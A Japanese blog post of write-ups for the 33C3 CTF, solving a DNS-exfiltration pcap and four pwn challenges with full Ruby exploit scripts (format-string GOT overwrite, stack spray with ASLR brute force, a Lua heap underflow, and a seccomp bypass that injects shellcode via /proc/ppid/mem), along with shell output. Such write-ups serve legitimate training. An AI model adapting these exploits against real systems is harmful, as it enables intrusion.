しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

33C3 CTF writeup

33C3 CTFにbinjaで参加しました。

チームで3150pts入れて17位、
私は5問解いて1050pts入れました。

面白い問題ばかりで楽しかったです(*´ω`*)

解いた問題のwriteupを置いておきます(`・ω・´)

exfil (for 100)

pcapとserver.pyを見てみると、通信内容をDNSクエリに仕込んでやりとりしていることがわかるので、scapyでがんばって復元する。

↓やりとりを復元してstream.binに保存するスクリプト

from scapy.all import *
import base64
import struct
import sys

def decode_b32(s):
    s = s.upper()
    for i in range(10):
        try:
            return base64.b32decode(s)
        except:
            s += "="
    raise ValueError('Invalid base32')

domain = "eat-sleep-pwn-repeat.de."

packets = rdpcap("dump.pcap")

data = []

last = ""
packet_type = None

for i in range(len(packets)):
    packet = packets[i]["DNS"]
    if packet.an is None:
        raw = decode_b32("".join(packet.qd.qname.split(".")[:-domain.count(".") - 1]))
        if len(raw) > 6 and last != raw[6:]:
            sys.stdout.write("%4d: > %s\n" % (i, repr(raw[6:])))
            last = raw[6:]
            if packet_type == "response":
                data[-1] += raw[6:]
            else:
                data.append(raw[6:])
                packet_type = "response"
    else:
        raw = decode_b32("".join(packet.an.rdata.split(".")[:-domain.count(".") - 1]))
        if len(raw) > 6 and last != raw[6:]:
            sys.stdout.write("%4d: < %s\n" % (i, repr(raw[6:])))
            last = raw[6:]
            if packet_type == "request":
                data[-1] += raw[6:]
            else:
                data.append(raw[6:])
                packet_type = "request"

f = open("stream.bin", "wb")
for a in data:
    f.write(a)
f.close()

やりとりを見てみると、

  1. GPG keyの入力
  2. GPGでsecret.docxを暗号化
  3. cat secret.docx.gpg

をしているので、secret.docxを復号するとフラグが出てくる。

FLAG: 33C3_g00d_d1s3ct1on_sk1llz_h0mie

ESPR (pwn 150)

Tシャツ(このTシャツ欲しい)アセンブリを見ると、

while(1){
    char buf[0x100];
    gets(buf);
    sleep(1);
    printf(buf);
}

みたいなコードが動いているようなので、fsbで.text領域をダンプしてgotの場所を調べ、got leak→got overwriteでシェルを取った。

#coding:ascii-8bit
require "pwnlib"

host = "78.46.224.86"
port = 1337

libc_offset = {  # libc6_2.24-3ubuntu2_amd64
  "printf" => 0x56550,
  "system" => 0x456d0
}
got = {
  "printf" => 0x601018
}

def tube
  @tube
end

def leak(addr, length = nil)
  if length.nil?
    tube.sendline("%8$s114514\0".ljust(16, "\0") + [addr].pack("Q"))
    tube.recv_capture(/(.*?)114514/m)[0] + "\0"
  else
    buf = ""
    while buf.length < length
      buf << leak(addr + buf.length)
    end
    buf
  end
end

def build_payload(addr, data)
  payload = ""
  index = data.length * "%999c%99$hhn".length / 8 + 7
  current = 0

  data.bytes.each_with_index do |b, i|
    if current != b
      payload << "%#{(b - current) & 0xff}c"
      current = b
    end
    payload << "%#{index + i}$hhn"
  end
  payload = payload.ljust((index - 6) * 8, "\0")
  payload << (addr...addr + data.length).to_a.pack("Q*")
end

PwnTube.open(host, port) do |t|
  @tube = t

  puts "[*] leak libc base"
  libc_base = leak(got["printf"], 8).unpack("Q")[0] - libc_offset["printf"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite got"
  tube.sendline(build_payload(got["printf"], [libc_base + libc_offset["system"]].pack("Q")))

  puts "[*] launch shell"
  tube.sendline("/bin/sh")
  tube.recv

  tube.interactive
end
$ ruby espr.rb
[*] connected
[*] leak libc base
libc base = 0x7f71566c1000
[*] overwrite got
[*] launch shell
[*] interactive mode
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls -la
total 36
drwxr-xr-x 2 root root 4096 Dec 27 14:29 .
drwxr-xr-x 3 root root 4096 Dec 19 20:00 ..
-rw-r--r-- 1 root root  220 Dec 19 16:55 .bash_logout
-rw-r--r-- 1 root root 3771 Dec 19 16:55 .bashrc
-rwxr-xr-x 1 root root 5968 Dec 27 14:28 espr
-rw-r--r-- 1 root root   30 Dec 27 14:27 flag
-rw-r--r-- 1 root root  655 Dec 19 16:55 .profile
-rwxr-xr-x 1 root root   91 Dec 27 14:26 run.sh
cat flag
33C3_f1rst_tshirt_challenge?!
exit
[*] connection closed

FLAG: 33C3_f1rst_tshirt_challenge?!

rec (pwn 200)

$ ./rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 2
Operator: +
Operand: 111
Operand: 222
Result: 333
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 5
10
Positive
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 6

ポーランド記法中置記法逆ポーランド記法で計算できる簡易電卓。

まずは下調べ。

$ file rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1
rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=51890d1f3db5af5a951952942d4cf81d91143c3e, stripped

$ checksec --file rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1

主な仕様はこんな感じ。

  • Take note / Read note
    • スタック上のバッファを読み書きできる
    • が、バッファが関数のローカル変数なため、書いたメモは永続しない
  • Polish
  • Infix
  • Reverse Polish
  • Sign
    • 入力した数字が1以上ならPositive, -1以下ならNegativeと出力する
    • 出力用の関数はスタック上の関数ポインタ経由で呼ばれる
    • 0を入力すると、関数ポインタが未初期化のままになり、関数ポインタの指すアドレスにeipが飛ばされる

未初期化の関数ポインタをコントロールする方法を見つけるとよさそうだが、Sign用の関数だけ最初にsub esp, 0x338と大きくespを引いているため、スタック領域の上の方に何かを書き込む手段を探す必要がある。

「ループを回しまくるとespが段々上がっていくみたいなバグがありそう」と思って探してみると、Polishで"S"演算子を指定したときの処理にそのようなバグがあった。

        ↓[]の中の数字は、0xb36実行直前のespを0としたときのesp
   0xb36[  0]:  sub    esp,0x8
   0xb39[ -8]:  push   DWORD PTR [ebp-0x2c]
   0xb3c[-12]:  push   DWORD PTR [ebp-0x2c]
   0xb3f[-16]:  mov    eax,DWORD PTR [ebp-0x24]
   0xb42[-16]:  call   eax                          ; sum += operand
   0xb44[-16]:  add    esp,0x8
   0xb47[ -8]:  add    DWORD PTR [ebp-0x28],eax
   0xb4a[ -8]:  sub    esp,0xc
   0xb4d[-20]:  lea    eax,[ebx-0x1f58]
   0xb53[-20]:  push   eax
   0xb54[-24]:  call   printf                       ; printf("Operand: ")
   0xb59[-24]:  add    esp,0x10
   0xb5c[ -8]:  sub    esp,0x8
   0xb5f[-16]:  push   0xc
   0xb61[-20]:  lea    eax,[ebp-0x18]
   0xb64[-24]:  push   eax
   0xb65[-24]:  call   read_line                    ; read_line(buf, 12)
   0xb6a[-24]:  add    esp,0x10
   0xb6d[ -8]:  sub    esp,0xc
   0xb70[-20]:  lea    eax,[ebp-0x18]
   0xb73[-20]:  push   eax
   0xb74[-24]:  call   atoi                         ; operand = atoi(buf)
   0xb79[-24]:  add    esp,0x10
   0xb7c[ -8]:  mov    DWORD PTR [ebp-0x2c],eax
   0xb7f[ -8]:  movzx  eax,BYTE PTR [ebp-0x18]
   0xb83[ -8]:  cmp    al,0x2e
   0xb85[ -8]:  jne    0xb36                        ; if(buf[0] != '.') goto 0xb36

数字を1つ入力するごとにespが8上がっていくので、これを使ってスタックをsystem"/bin/sh"のアドレスでスプレーし、シェルを取った。
(libcのアドレスをリークする方法が見つけられなかったため、ブルートフォースでASLRを突破した)

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "78.46.224.74"
  port = 4127
  libc_base = 0xf75b8000
  libc_offset = {  # libc6-i386_2.24-3ubuntu2_amd64
    "start" => 0x183f0,
    "system" => 0x3a8b0,
    "/bin/sh" => 0x15cbcf
  }
else
  host = "localhost"
  port = 54321
  libc_base = 0xf7e15000
  libc_offset = {
    "start" => 0x19c50,
    "system" => 0x40310,
    "/bin/sh" => 0x16084c
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("> ")
  end
end

def tube
  @tube
end

while true
  begin
    PwnTube.open(host, port, nil) do |t|
      @tube = t

      tube.recv_until_prompt
      tube.sendline("2")
      tube.sendline("S")
      100.times do
        tube.sendline("#{[libc_base + libc_offset["system"]].pack("L").unpack("l")[0]}")
      end
      100.times do
        tube.sendline("#{[libc_base + libc_offset["/bin/sh"]].pack("L").unpack("l")[0]}")
      end
      tube.sendline(".")

      tube.recv_until_prompt
      tube.sendline("5")
      tube.sendline("0")

      tube.interactive
    end
  rescue
  end
  break unless remote
end

FLAG: 33C3_L0rd_Nikon_would_l3t_u_1n

grunt (pwn 250)

$ cat <<EOS | ./grunt-03fcd4dbcd3116399852dbbb6fdecf90
> p = pokemon.new("hoge")
> pokemon.addAttack(p, function(target) pokemon.doDamage(target, 10) end)
> pokemon.fight(p, "Airmackly")
> return 0
> EOS
hoge is stopped by a wild Airmackly!

Round 1
hoge hits Airmackly for 10 damage!
Airmackly uses INCAPACITATE!

Round 2
hoge hits Airmackly for 0 damage!
Airmackly uses TROUTSLAP!

Round 3
hoge hits Airmackly for 0 damage!
The fight has ended

script returned: 0

Luaスクリプトを渡すと実行してくれるプログラム。
ただし、stringライブラリとpokemonライブラリ(バイナリ中で定義)の関数しか使えない。

まずは下調べ。

$ file grunt-03fcd4dbcd3116399852dbbb6fdecf90
grunt-03fcd4dbcd3116399852dbbb6fdecf90: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6d1b9829c19732df0ddb51f55dcf03d1c68a35af, not stripped

$ checksec --file grunt-03fcd4dbcd3116399852dbbb6fdecf90
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   grunt-03fcd4dbcd3116399852dbbb6fdecf90

pokemonライブラリには以下の関数が定義されている。

struct Pokemon {
    int hp;                 // HP
    unsigned char count;    // actionに登録されている行動の数
    char[3] padding1;
    char *name;             // 名前
    int action[3];          // nターン目の行動(0 <= n < 3)
    int padding2;
}
  • pokemon.getName(p)
  • pokemon.setName(p, name)
    • ポケモンの名前を設定する
    • 内部的にはstrncpy(p->name, name, strlen(name))している(文字列長のチェックがあるので、heap bofはできない)
  • pokemon.addAttack(p, attack)
    • ポケモンの行動を追加する
    • attackには関数オブジェクトを指定する
      • この関数は、バトル中にattack(相手ポケモン)の形で呼び出される
  • pokemon.doDamage(p, damage)
    • ポケモンのHPを減らす
    • 符号チェックがないので、負数を指定すると回復する
  • pokemon.duplicateAttack(p)
    • p->action[p->count] = p->action[p->count - 1]
  • pokemon.swapAttack(p, m, n)
    • ポケモンのmターン目の行動とnターン目の行動を入れ替える(0 <= m,n < p->count
  • pokemon.getAttack(p, n)
  • pokemon.fight(p, target)
    • あらかじめ定義してあるポケモン("Lukachu", "Hannobat", "Andyball", "Airmackly")のうちの1体を指定し、バトルする
    • バトルは「p→targetの順に行動する」を3ターン繰り返して行う
    • 相手ポケモンの行動パターンもあらかじめ定義してあり、以下の3つの技が使われる
      • AMNESIA
        • 使われたポケモンは自分の名前を忘れる(memset(p->name, 0, 0xff)
      • TROUTSLAP
      • INCAPACITATE
        • 使われたポケモンは行動を1つ忘れる(p->action[--p->count] = 0
        • p->countが0でもデクリメントされる

以下の手順で攻略した。

  1. addAttackに渡した関数内で敵ポケモンを操作できることを利用して、INCAPACITATEを2回使う敵ポケモンを作る
  2. 1.の敵ポケモンp->countが1なポケモンp1をバトルさせる
    このとき、p1->countがunderflowして0xffになるため、swapAttack(p1, m, n)でヒープ上の2か所の32bit値を入れ替えられるようになる
  3. p1の後ろにあるポケモンp2のHPをdoDamageでgotのアドレスと同じ値にした後、swapAttackp2->HPp2->nameを入れ替える
  4. getName(p2) / setName(p2)でgotが読み書きできるので、libcのアドレスを調べた後にgot overwrite

余談だが、動的解析・exploitデバッグ用に、先日書いたLD_PRELOADのテクニックを応用してLuaのスタックをダンプする関数を書いたら捗った。

#include <stdio.h>

struct __attribute__((__packed__)) Pokemon {
    int hp;
    int count;
    char *name;
    unsigned int action[3];
    unsigned int padding;
};

void dumpStack(){
    void *l = (void*)0x628028;  // LuaStateのアドレス。環境によって多少変わるかも
    int (*lua_gettop)(void*) = (void*)0x4025a0;
    int (*lua_type)(void*, int) = (void*)0x4027b0;
    char *(*lua_typename)(void*, int) = (void*)0x4027d0;
    double (*lua_tonumberx)(void*, int, int*) = (void*)0x4029f0;
    char *(*lua_tostring)(void*, int) = (void*)0x402ad0;
    void *(*lua_touserdata)(void*, int) = (void*)0x402c00;
    void *(*lua_topointer)(void*, int) = (void*)0x402c50;
    int i;
    int stackSize;
    struct Pokemon *poke;
    double d;

    stackSize = lua_gettop(l);
    fprintf(stderr, "stack size: %d\n", stackSize);

    for(i = stackSize; i >= 1; i--){
        int type = lua_type(l, i);
        fprintf(stderr, "Stack[%2d:%10s(%d)] : ", i, lua_typename(l, type), type);

        switch(type){
            case 7:  //userdata
                poke = (struct Pokemon*)lua_touserdata(l, i);
                fprintf(stderr, "%p\n", poke);
                fprintf(stderr, "  hp: 0x%x\n", poke->hp);
                fprintf(stderr, "  count: 0x%x\n", poke->count);
                fprintf(stderr, "  name: %p\n", poke->name);
                fprintf(stderr, "  action1: %p\n", (void*)((unsigned long)(poke->action[0])));
                fprintf(stderr, "  action2: %p\n", (void*)((unsigned long)(poke->action[1])));
                fprintf(stderr, "  action3: %p", (void*)((unsigned long)(poke->action[2])));
                break;
            case 3:  //number
                d = lua_tonumberx(l, i, NULL);
                fprintf(stderr, "%f(%p)", d, (void*)((unsigned long)d));
                break;
            case 4:  //string
                fprintf(stderr, "%s", lua_tostring(l, i));
                break;
            case 6:  //function
            case 5:  //table
                fprintf(stderr, "%p", lua_topointer(l, i));
                break;
        }

        fprintf(stderr, "\n");
    }
    fprintf(stderr, "table: %p\n", lua_topointer(l, -1001000));

    fflush(stderr);
}

gdbデバッグ中にcall dumpStack()と打つと、こんな感じでLuaスタックのダンプが出る。

stack size: 4
Stack[ 4:  userdata(7)] : 0x62a4e8
  hp: 0x64
  count: 0x2
  name: 0x41b63a
  action1: 0x2
  action2: 0x1
  action3: (nil)
Stack[ 3:  function(6)] : 0x62b6f0
Stack[ 2:    string(4)] : Airmackly
Stack[ 1:  userdata(7)] : 0x62e078
  hp: 0x64
  count: 0x1
  name: 0x62e0a0
  action1: 0x7
  action2: (nil)
  action3: (nil)
table: 0x6288d0

我ながら便利なテクニックを見つけたものだなぁという気持ちになった。(自画自賛)

ということで、以下exploit。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "78.46.224.90"
  port = 1337
  libc_offset = {  # libc6_2.24-3ubuntu2_amd64
    "puts" => 0x70960,
    "system" => 0x456d0
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "puts" => 0x6fd60,
    "system" => 0x46590
  }
end

got = {
  "puts" => 0x626040,
  "strncpy" => 0x626038
}

def escape(data)
  data.bytes.map{|a| "\\x%02x" % a}.join
end

p1, p2 = [0x62e078, 0x62e1d8]
script = <<EOS
#{("a".."z").to_a.join(",")}=1
p1, p2 = 1
function duplicate_incapacitate(target)
  pokemon.swapAttack(target, 0, 1)
  pokemon.duplicateAttack(target)
end

#{10.times.map{"z = pokemon.new(\"A\")"}.join("\n")}

p1 = pokemon.new("/bin/sh")
p2 = pokemon.new("AAAA")
pokemon.addAttack(p1, duplicate_incapacitate)
pokemon.fight(p1, "Airmackly")
pokemon.doDamage(p2, #{100 - got["puts"]})
pokemon.swapAttack(p1, #{(p2 - p1 - 0x10) / 4}, #{(p2 - p1 - 0x10) / 4 + 2})
pokemon.getName(p1)
a = pokemon.getName(p2)
a = string.unpack("<I6", a) - #{libc_offset["puts"]}
pokemon.swapAttack(p1, #{(p2 - p1 - 0x10) / 4}, #{(p2 - p1 - 0x10) / 4 + 2})
pokemon.doDamage(p2, #{got["puts"] - got["strncpy"]})
pokemon.swapAttack(p1, #{(p2 - p1 - 0x10) / 4}, #{(p2 - p1 - 0x10) / 4 + 2})
pokemon.setName(p2, string.pack("<I8", a + #{libc_offset["system"]}))
pokemon.getName(p2)
pokemon.setName(p1, "AAAA")
EOS

PwnTube.open(host, port) do |tube|
  tube.send(script.ljust(0x1000))

  tube.interactive
end
$ ruby grunt.rb r
[*] connected
[*] interactive mode
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls -la
total 196
drwxr-xr-x 2 root root   4096 Dec 26 21:18 .
drwxr-xr-x 3 root root   4096 Dec 19 20:00 ..
-rw-r--r-- 1 root root    220 Dec 19 16:55 .bash_logout
-rw-r--r-- 1 root root   3771 Dec 19 16:55 .bashrc
-r--r--r-- 1 root root     38 Dec 26 21:15 flag
-rwxr-xr-x 1 root root 170376 Dec 26 22:22 grunt
-rw-r--r-- 1 root root    655 Dec 19 16:55 .profile
-rwxr-xr-x 1 root root     79 Dec 26 21:18 run.sh
cat flag
33C3_4cab52949778211296ac800d072f9032
exit
/bin/sh is stopped by a wild Airmackly!

Round 1
/bin/sh hits Airmackly for 0 damage!
Airmackly uses TROUTSLAP!

Round 2
/bin/sh hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!

Round 3
/bin/sh hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!
The fight has ended

[*] end interactive mode
[*] connection closed

FLAG: 33C3_4cab52949778211296ac800d072f9032

tea (pwn 350)

$ ./tea
Thank you for using our next-gen data storage solution.
You're using the free trial version, some functionality might be missing.
(r)ead or (w)rite access?
r
filename?
./test
lseek?
0
count?
32
read 5 bytes
test
quit? (y/n)
y

ファイルシステム上の好きなファイルを読み込んで出力してくれるプログラム。
(ただし、フラグはフラグ出力用のバイナリを実行しないと読めないようになっている)

まずは下調べ。

$ file tea
tea: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=fe3049679a5d0e5151269d726cceeaddd05cc32a, stripped

$ checksec --file tea
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   tea

主な仕様はこんな感じ。

  • 親プロセス
    • 子プロセスのスタック領域用にmmapで0x100000000000バイト確保し、clone(func, child_stack, 0, 0)で子プロセスを作る
    • 子プロセスを作った後、親プロセスはwaitpidで待機
  • 子プロセス
    • 最初にseccomp-bpfをセットアップする
    • 読み込むファイル名・オフセット・読み込むバイト数を入力すると、ファイルの内容を教えてくれる
      • getsを使っているのでstack bofし放題だが、子プロセスはexitで終了するのでリターンアドレスを書き換えても意味がない
        その代わり、スタック上のポインタを書き換えることでarbitrary writeはできる
    • seccomp-bpfの設定内容はこんな感じ
unsigned int syscall_number;
unsigned long arg1, arg2, arg3, arg4, arg5, arg6;

if(architecture != x86_64){
    return KILL;
}

switch(syscall_number){
    case SYS_exit:
    case SYS_exit_group:
    case SYS_brk:
    case SYS_read:
    case SYS_lseek:
    case SYS_open:
        return ALLOW;
    case SYS_fstat:
        return ERRNO(EACCES);
    case SYS_mmap:  // mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)の形のみ許可
        if(arg1 != 0){      // addr
            return KILL;
        }
        if(arg3 != (PROT_READ | PROT_WRITE)){
            return KILL;
        }
        if(arg4 != (MAP_ANONYMOUS | MAP_PRIVATE)){
            return KILL;
        }
        if(arg5 != -1){     // fd
            return KILL;
        }
        if(arg6 != 0){      // offset
            return KILL;
        }
        return ALLOW;
    case SYS_close:
        if(arg1 == 0 || arg1 == 1 || arg1 == 2){
            return KILL;
        }
        return ALLOW;
    case SYS_write:
        if(arg1 == 1 || arg1 == 2){
            return ALLOW;
        }
        return KILL;
    default;
        return KILL;
}

子プロセスのstack bofを使えば子プロセスの制御はすぐ奪えるので、親プロセスの制御を奪う方法を考える。

今回の問題で子プロセスから親プロセスにちょっかいを出すには、/proc/親プロセスのpid/memを書き換えるくらいしか方法がない。

seccomp-bpfの設定内容を見ると他のファイルへの書き込みはできないように見えるが、

  • closeのプロトタイプ宣言はint close(int fd)なので、close(0x100000002)close(2)と同じ
  • openは、そのプロセスがその時点でオープンしていないfdのうちの最小のものを返す
    つまり、close(2)した後にopenすると、fd=2が返ってくる
  • seccomp-bpfの設定では、fd=2へのwriteは禁じられていない

という点を利用すると、他のファイルへの書き込みは可能である。

ということで、/proc/親プロセスのpid/memにシェルコードを書き込み、親プロセスでそれが実行されるようにしてシェルを取った。

#coding:ascii-8bit
require "pwnlib"

@remote = ARGV[0] == "r"
def remote
  @remote
end
if remote
  host = "104.155.105.0"
  port = 14000
  libc_offset = {
    "open" => 0xf3680,
    "close" => 0xf3f30,
    "read" => 0xf38a0,
    "write" => 0xf3900,
    "lseek" => 0x1037f0,
    "_exit" => 0xc94b0,
    "__malloc_hook" => 0x3bdaf0,
    "ret" => 0x20fed,
    "pop_rdi_ret" => 0x20fec,
    "pop_rsi_ret" => 0x229a5,
    "pop_rdx_ret" => 0x463a1,
    "add_rsp_0x100_ret" => 0x8b99e
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "open" => 0xeb4b0,
    "close" => 0xebe00,
    "read" => 0xeb6a0,
    "write" => 0xeb700,
    "lseek" => 0xfa3a0,
    "_exit" => 0xc1180,
    "__malloc_hook" => 0x3be740,
    "ret" => 0x22b9b,
    "pop_rdi_ret" => 0x22b9a,
    "pop_rsi_ret" => 0x24885,
    "pop_rdx_ret" => 0x1e438,
    "add_rsp_0x100_ret" => 0x8b9de
  }
end

offset = {
  "after_waitpid" => 0x2199,
  "filename" => 0x203110,
  "shellcode" => 0x203210
}

def tube
  @tube
end

def index
  @index
end

def make_index
  bin = open("libc.so.6", "rb").read.bytes
  (0..0xff).map{|a| bin.index(a)}
end

def read_file(path, offset, length)
  tube.recv_until("(r)ead or (w)rite access?\n")
  tube.sendline("r")
  tube.recv_until("filename?\n")
  tube.sendline(path)
  tube.recv_until("lseek?\n")
  tube.sendline("#{offset}")
  tube.recv_until("count?\n")
  tube.sendline("#{length}")
  tube.recv_until("bytes\n")
  result = tube.recv_until("quit? (y/n)\n")[0...-("quit? (y/n)\n".length)]
  tube.sendline("n")
  result
end

def write_to_memory(address, data, fd = 3)
  data.bytes.each_with_index do |b, i|
    print "."
    if b == 0
      next
    end
    raise if [address + i].pack("Q").include?("\n")
    read_file(remote ? "/lib64/libc.so.6" : "./libc.so.6", index[b], "2".ljust(40, "\0") + [0, fd, 0, address + i].pack("QLLQ"))
  end
  puts
end

@index = make_index

PwnTube.open(host, port) do |t|
  @tube = t

  shellcode = PwnLib.shellcode_x86_64

  puts "[*] get memory map"
  memory_map = read_file("/proc/self/maps", 0, 0x1000)
  pie_base = memory_map.match(/^([0-9a-f]+)-[0-9a-f]+.*?#{remote ? "chal" : "tea"}/).captures[0].to_i(16)
  libc_base = memory_map.match(/^([0-9a-f]+)-[0-9a-f]+.*?libc/).captures[0].to_i(16)
  puts memory_map
  puts "PIE base = 0x%x" % pie_base
  puts "libc base = 0x%x" % libc_base

  puts "[*] get stack address"
  stack = read_file("/proc/self/stat", 0, 0x1000).split[28].to_i + 0xb0
  puts "stack = 0x%x" % stack

  puts "[*] get ppid"
  ppid = read_file("/proc/self/status", 0, 0x1000).match(/PPid:\s+(\d+)\n/).captures[0].to_i
  puts "ppid = %d" % ppid

  puts "[*] send rop"
  payload = ""
  payload << [libc_base + libc_offset["ret"]].pack("Q") * 0x20
  # read(0, filename, 0x100)
  payload << [libc_base + libc_offset["pop_rdi_ret"], 0].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["filename"]].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], 0x100].pack("Q*")
  payload << [libc_base + libc_offset["read"]].pack("Q")
  # close(0x100000002)
  payload << [libc_base + libc_offset["pop_rdi_ret"], 0x100000002].pack("Q*")
  payload << [libc_base + libc_offset["close"]].pack("Q")
  # open("/proc/ppid/mem", 2)
  payload << [libc_base + libc_offset["pop_rdi_ret"], pie_base + offset["filename"]].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], 2].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], 0].pack("Q*")
  payload << [libc_base + libc_offset["open"]].pack("Q")
  # lseek(2, pie_base + 0x2199, 0)
  payload << [libc_base + libc_offset["pop_rdi_ret"], 2].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["after_waitpid"]].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], 0].pack("Q*")
  payload << [libc_base + libc_offset["lseek"]].pack("Q")
  # read(0, shellcode, shellcode.length)
  payload << [libc_base + libc_offset["pop_rdi_ret"], 0].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["shellcode"]].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], shellcode.length].pack("Q*")
  payload << [libc_base + libc_offset["read"]].pack("Q")
  # write(2, shellcode, shellcode.length)
  payload << [libc_base + libc_offset["pop_rdi_ret"], 2].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], pie_base + offset["shellcode"]].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], shellcode.length].pack("Q*")
  payload << [libc_base + libc_offset["write"]].pack("Q")
  # close(0x100000002)
  payload << [libc_base + libc_offset["pop_rdi_ret"], 0x100000002].pack("Q*")
  payload << [libc_base + libc_offset["close"]].pack("Q")
  # exit(0)
  payload << [libc_base + libc_offset["pop_rdi_ret"], 0].pack("Q*")
  payload << [libc_base + libc_offset["_exit"]].pack("Q")
  raise if payload.include?("\n")
  read_file("/dev/null".ljust(0x48, "\0") + payload, 0, 2)

  puts "[*] overwrite __malloc_hook"
  write_to_memory(libc_base + libc_offset["__malloc_hook"], [libc_base + libc_offset["add_rsp_0x100_ret"]].pack("Q"))

  puts "[*] stack pivot"
  tube.recv_until("(r)ead or (w)rite access?\n")
  tube.sendline("r")
  tube.recv_until("filename?\n")
  tube.sendline("/dev/null")
  tube.recv_until("lseek?\n")
  tube.sendline("0")
  tube.recv_until("count?\n")
  tube.sendline("33")

  puts "[*] send filename"
  sleep(1)
  tube.send("/proc/#{ppid}/mem")

  puts "[*] send shellcode"
  sleep(1)
  tube.send(shellcode)

  tube.interactive
end
$ ruby tea.rb r
[*] connected
[*] get memory map
2adf4613b000-2adf4615e000 r-xp 00000000 08:09 3342                       /lib64/ld-2.23.so
2adf4615e000-2adf4615f000 rw-p 00000000 00:00 0
2adf46165000-2adf46167000 rw-p 00000000 00:00 0
2adf4635e000-2adf4635f000 r--p 00023000 08:09 3342                       /lib64/ld-2.23.so
2adf4635f000-2adf46360000 rw-p 00024000 08:09 3342                       /lib64/ld-2.23.so
2adf46360000-2adf46361000 rw-p 00000000 00:00 0
2adf46361000-2adf4651a000 r-xp 00000000 08:09 3367                       /lib64/libc-2.23.so
2adf4651a000-2adf4671a000 ---p 001b9000 08:09 3367                       /lib64/libc-2.23.so
2adf4671a000-2adf4671e000 r--p 001b9000 08:09 3367                       /lib64/libc-2.23.so
2adf4671e000-2adf46720000 rw-p 001bd000 08:09 3367                       /lib64/libc-2.23.so
2adf46720000-2adf46724000 rw-p 00000000 00:00 0
2adf46724000-3adf46724000 rw-p 00000000 00:00 0
5575125ff000-557512602000 r-xp 00000000 08:09 521220                     /home/user/chal
557512801000-557512802000 r--p 00002000 08:09 521220                     /home/user/chal
557512802000-557512803000 rw-p 00003000 08:09 521220                     /home/user/chal
557512b95000-557512bb8000 rw-p 00000000 00:00 0                          [heap]
7ffea381a000-7ffea383b000 rw-p 00000000 00:00 0                          [stack]
7ffea3988000-7ffea398a000 r--p 00000000 00:00 0                          [vvar]
7ffea398a000-7ffea398c000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
PIE base = 0x5575125ff000
libc base = 0x2adf46361000
[*] get stack address
stack = 0x39a21b2a4458
[*] get ppid
ppid = 1
[*] send rop
[*] overwrite __malloc_hook
........
[*] stack pivot
[*] send filename
[*] send shellcode
[*] interactive mode
id
uid=1337(user) gid=1337(user) groups=1337(user),0(root)
/home/user/getflag
33C3_why_do_y0u_3ven_filter?!?
exit
[*] end interactive mode
[*] connection closed

FLAG: 33C3_why_do_y0u_3ven_filter?!?